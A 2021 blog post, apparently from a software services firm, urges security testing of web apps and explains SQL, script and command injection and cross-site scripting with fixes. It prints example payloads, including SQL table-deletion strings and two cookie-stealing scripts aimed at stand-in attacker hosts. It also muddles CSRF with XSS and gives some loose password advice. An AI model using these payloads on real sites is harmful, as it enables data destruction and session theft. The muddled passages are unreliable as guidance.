Why Web App Security Testing is Critical to Build Secure Apps
Tags: testing
Published: 2021-07-20 16:17:41

<!-- #######  YAY, I AM THE SOURCE EDITOR! #########-->
<p style="text-align: justify;"><span style="font-weight: 400;">Malicious users are everywhere on the internet, and most of them are undetectable from ordinary people. Stealing personal information and data is happening every day, all over.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">In other words, chances are, anybody on the internet is potentially being watched, in terms of data, they are sharing, uploading, or receiving.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Users whose personal accounts have been hacked take the extra precaution of changing passwords or using more secure firewalls, yet there's no guarantee that they won't face a similar calamity again. Hence arises the question, what security measures to take, which can avert such breaches in the future?</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Reading further, you will come across information you are already acquainted with as a developer but not practicing in most cases. It is time you start checking your codes from the vulnerability point of view as well. During the software development lifecycle (SDLC), numerous small openings are either ignored or never tested from the vulnerability ends.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">For instance, many websites do not allow special characters to be included as passwords. Why should it be so? You are making it easier for the hacker to guess the passwords. Another example is that not every button of the application is tested by the Quality Assurance team from a security testing perspective. The reviews section of the registration page of your website or the comment section of your blog page can be very easily used to inject bugs; how many times does your QA team care to test these?</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h2 style="text-align: justify;"><strong>What is Web Application Security Testing?</strong></h2>
<p style="text-align: justify;"><span style="font-weight: 400;">Ever thought about where lies the credibility of the websites that promise uncompromised security to their clients when they cannot protect their own? The focus should be on finding loopholes in the application's safety when built; rather than pondering how to strengthen the firewall when the fortress has already been breached.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<p style="text-align: justify;"><span style="font-weight: 400;">The fun part of the story is that these bugs which become the gateway for hackers are usually critical mistakes by the developers. Many cases of website hacking in front of us make you question the immunity of sharing or storing data on the Internet and clouds. Some pretty recent incidents which have made headlines and become topics of significant discussions have raised these security concerns. Whether it is the most widely used Gmail, eBay, Adobe, LinkedIn, or iCloud, nothing is secure as you have been expecting it to be.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<p style="text-align: justify;"><span style="font-weight: 400;">[Tweet "Without proper security testing, an application has only been half-tested."]</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">After attending a seminar with the</span><a href="https://owasp.org/"> <span style="font-weight: 400;">OWASP</span></a><span style="font-weight: 400;"> team, I realized that although we think we are following the best Quality Assurance methods yet there are ambiguities overlooked on our part as developers and lead to disasters for the client later stage. It is time we hand down the necessity of best practices that are going unnoticed in most cases.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<p style="text-align: justify;"><span style="font-weight: 400;">Let me explain with an example:</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The usual wrong approach:</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">string commandText = "SELECT * FROM Product "+ "WHERE ProductName= '"+ productName +"'";</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Since, this query is fully expandable the hacker can easily inject SQL in the ProductName (input) like:</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">SELECT * FROM Product WHERE ProductName = ''; DELETE Orders;</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The right approach is applying the simple technique of parameterized queries.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">string commandText = "SELECT * FROM Product "+ "WHERE ProductName = @ProductName";SqlCommand cmd = new SqlCommand(commandText, conn);cmd.Parameters.Add("@ProductName",productName);</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">This will save our clients and users from big menaces.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The below-mentioned list of vulnerabilities is the most common impact of coding carelessness, at the hands of developers. The list is long hence we will be covering a few critical ones here.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h2 style="text-align: justify;"><strong>Injections</strong></h2>
<p style="text-align: justify;"><span style="font-weight: 400;">When the control plane data is injected into the user-controlled data plane, it modifies the control flow of the process; it results in the disclosure of user and data-sensitive information. Injection issues occur mainly due to logic errors, caused either due to lack of knowledge or the habit of doing innovative work when cautiousness is required. Amongst other threats caused due to injection problems, there are data loss, jeopardized authentication, and loss of data integrity. It is broadly classified under these three categories:</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<ol style="text-align: justify;">
<li><strong> Code Injection</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">Improper validation of data is the leading cause of code injection; a code is inserted into the application, which is later executed by leading to loss of availability and accountability. Inaccuracy when validating data formats or the extent of predictable data leaves the gap for the hackers to tamper and use code injections.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Amongst the varied types of code injection, I have pointed out the primary two here:</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<ol style="text-align: justify;">
<li><strong>a) SQL Injection</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">The commonest injection in ASP and PHP, an SQL query is injected through the input data from the client to the application. An SQL injection can affect the performance of predefined SQL commands. It can lead to destroying data or making it unavailable; the hacker can even become the database server administrator.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">For instance, there are two fields in your table: ID and the other for Comment String, which you will commonly insert in the below-mentioned format.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<p style="text-align: justify;"><span style="font-weight: 400;">INSERT INTO COMMENTS VALUES(1,'Hello World!');</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">However, consider someone entering the following comment:</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">'); DELETE FROM blogs; --</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">If you have been careless and not used parameterized SQL queries in your comment string, then your single query can easily be changed into two.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">INSERT INTO COMMENTS VALUES(1,''); DELETE FROM blogs;--');</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">It will delete everything from your blog's table; hence use parameterized SQL queries to prevent this.</span></p>
<p style="text-align: justify;">&nbsp;</p>
<ol style="text-align: justify;">
<li><strong>b) HTML Script Injection</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">Another form of the Code Injection method is the result of improper user-supplied data handling. The hacker inserts their content into the page using valid HTML values, often parameterized. The attacker creates malignant content along with HTML codes and sends it to the user. The receiver takes it to be coming from a trusted source and clicks on it. As soon as the user fills in his username and password, it reaches the hacker, causing a massive loss to the former.</span></p>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;"><span style="font-weight: 400;">Hacker can inject the HTML script via input like:</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Hello World! This is my comment &lt;script&gt;document.location="https://attacker_website/read_cookies.cgi?" + document.cookie&lt;/script&gt;</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The above HTML script is posting cookie data on the attacker_website. In order to avoid this situation, one should validate the data properly or use HTML encoding as shown below.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">String result = Server.HtmlEncode("&lt;script&gt;unsafe&lt;/script&gt;");</span></p>
<p style="text-align: justify;">&nbsp;</p>
<ol style="text-align: justify;" start="2">
<li><strong> Command Injection</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">Inserting the command injection in the host application is possible when passing unsafe cookies to a system shell. The motive of the hacker usually is implementing random commands on the operating system of the host. Although the hacker cannot add his code, as is the case with code injection, it points out that your application is vulnerable.</span></p>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;"><span style="font-weight: 400;">public void ExecuteCommand(String myStr) {</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">ProcessStartInfo processStartInfo = new ProcessStartInfo("My.exe");</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">processStartInfo.Arguments = myStr;</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">processStartInfo.UseShellExecute = true;</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">processStartInfo.Start(processStartInfo);</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">}</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Most languages have programming objects that can run other code. In the code mentioned above, My.exe can access cmd.exe on windows, allowing the hacker to take over the server where the application is hosted easily. To avoid these kinds of injections, it is advisable to use libraries or DLLs instead of code files.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<ol style="text-align: justify;" start="3">
<li><strong> Broken Authentication and Session Management</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">For developers who often prefer to create their session tokens, although most application development environments have the session capability, it becomes riskier. Suppose your session identifiers and authentication credentials have not been protected with Secure Sockets Layer (SSL), from defects like cross-site scripting (elaborated below). In that case, the hacker can quickly break-in into a running session posing as a user.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<ol style="text-align: justify;" start="4">
<li><strong> Cross-Site Scripting</strong></li>
</ol>
<p style="text-align: justify;"><span style="font-weight: 400;">CSRF or Cross-Site Request Forgery makes the user execute undesired actions on a web application with the aid of social engineerings, such as sending malicious links via mail or chat. This must-have happened with many of you. Here I will explain why it happens even when you take the precaution of using a secret cookie.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Generally, cross-site scripting happens when a hacker sends malicious codes or links to the end-user, usually in a browser-side script. XSS can lead to some significant issues like disclosing the data in secured files, sending out malicious links from the account of the end-user, ultimately compromising the whole report, inserting viruses into the database, etc.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The XSS code is injected into an unquestionable user, and the browser runs the script taking that it comes from a trusted source. This script then accesses the user's session tokens, cookies, and all that the user has stored and browsed. Thus, modifying everything and sending out nasty emails.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Even your secure cookies will not be helpful since XSS code will have access to all your details; the only way is to perform a security review of the code.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<p style="text-align: justify;"><span style="font-weight: 400;">&lt;a href="https://www.mysite.com/mypage.aspx?key=&lt;script&gt; document.location.replace( 'https://www.hack_site.com/HackerPage.aspx?Cookie=' + document.cookie);&lt;/script&gt;"&gt;Click here for your prize&lt;/a&gt;</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">The above-shown code is sending cookie data to hack_site.com. In .net pages, we can enable the ValidateRequest to secure websites. If you are disabling ValidateRequest then make sure that the data entered by the user is validated or managed by using HttpUtility.HtmlEncode.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h2 style="text-align: justify;"><strong>Why Is Web App Security Testing Crucial?</strong></h2>
<p style="text-align: justify;"><span style="font-weight: 400;">If appropriately used, the Web is a valuable tool to grow your business. But when improperly, the Internet calls out to be the most dangerous place.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">To gain access to private data, attackers exploit web application security vulnerabilities. Organizations must go to even more extraordinary lengths to protect websites and apps than they do to protect their computers and other network-connected devices.</span></p>
<h3 style="text-align: justify;"><span style="font-weight: 400;">Prevents from loss of sensitive data</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">An organization, small or large, cannot afford to lose its confidential information. It not only tarnishes their brand but poses a serious threat to their existence.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Cybercriminals constantly look for sensitive data to steal. If these web applications are not secure, they can be exploited by cybercriminals to steal sensitive business information.</span></p>
<h3 style="text-align: justify;"><span style="font-weight: 400;">Secures Business Reputation</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">With more than a billion websites and users on the internet, they are dependent on search engines. Users put faith in search engines to keep their data (personal &amp; professional information) safe.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">If a website gets hacked, businesses not only lose data but valuable customers along with their faith.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">To regain it takes a significant amount of time, multiple efforts, and no guarantee, which a business cannot afford.</span></p>
<h2 style="text-align: justify;"><strong>Some Protection Measures</strong></h2>
<p style="text-align: justify;"><span style="font-weight: 400;">As goes the saying, a stitch in time saves time. I want to put forward these easy to adopt security tools and ethics for my fellow developers:</span></p>
<h3 style="text-align: justify;"><span style="font-weight: 400;">1. Headers</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">Using secured HTTP headers is one of the best practices for making safe your connections to the server. Applying titles in the web server configuration such as Apache, Nginx, etc., is considered helpful if you want to strengthen the defense mechanisms of your new applications.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">For instance, X-Frame-Options denies rendering within one frame; does not render if the origins do not match but allow rendering when carried out frame by frame from the domain. The other secured headers that can be used are X-Content-Type-Options, Strict-Transport-Security.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h3 style="text-align: justify;"><span style="font-weight: 400;">2. Password Protection Measures</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">There should be no restriction on the password strength, i.e., the size and complexity of characters. Moreover, the storage of passwords should be in encrypted form, preferably in the hashed format, because it is irreversible. A definite number of login attempts and informing the user of the timings of their logins and failed login attempts are commonly applied helpful secured practices.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h3 style="text-align: justify;"><span style="font-weight: 400;">3. Secured Session ID</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">Guarding your session transit with the help of SSL is amongst the best ways to save your day. The session id should ideally be never included in the URL, and they should be long enough that it makes them impossible to be guessed. Never accept a session-id suggested by a user!</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h3 style="text-align: justify;"><span style="font-weight: 400;">4. Avoiding Hidden Components</span></h3>
<p style="text-align: justify;"><span style="font-weight: 400;">Authentication of every component is vital; applying robust procedural and architecture mechanisms prevents the misuse of site architecture as it progresses over time. Using the no-cache tag deters from going back to the login page using the back button and obtaining the resubmitted user credentials.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">These are simple measures if taken that will keep you on the safer side.</span></p>
<h1 style="color: #5e9ca0; text-align: justify;">&nbsp;</h1>
<h2 style="text-align: justify;"><strong>Conclusion</strong></h2>
<p style="text-align: justify;"><a href="https://www.netsolutions.com/insights/software-security-testing/"><span style="font-weight: 400;">Web Application Security testing</span></a><span style="font-weight: 400;"> should be an integral part of the QA process, and no aspect should be left unquestioned to ensure secured web application development. With every enterprise focusing on [providing quality software development services](https://www.netsolutions.com/software-development-company), we also need to focus on making it equally well-protected against any hacking attempts. Suppose you have been following the recent accidents which have left many big enterprises baffled. In that case, you will quickly gauge the severity of the loss of data into filthy hands. It is getting highly critical for us developers to learn, teach and practice the best ways of secure coding when creating applications.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">As a developer who has earned his way to becoming the Project Lead, I believe it lies in our hands how to ensure optimum security to our clients and their end-users. Another tip that I would like to conclude with, something which I say to all my co-workers and juniors, 'Until you think like a hacker you will not know which security measures to apply that will prevent such incidents; and you will end up leaving a crack for the attacker.'</span></p>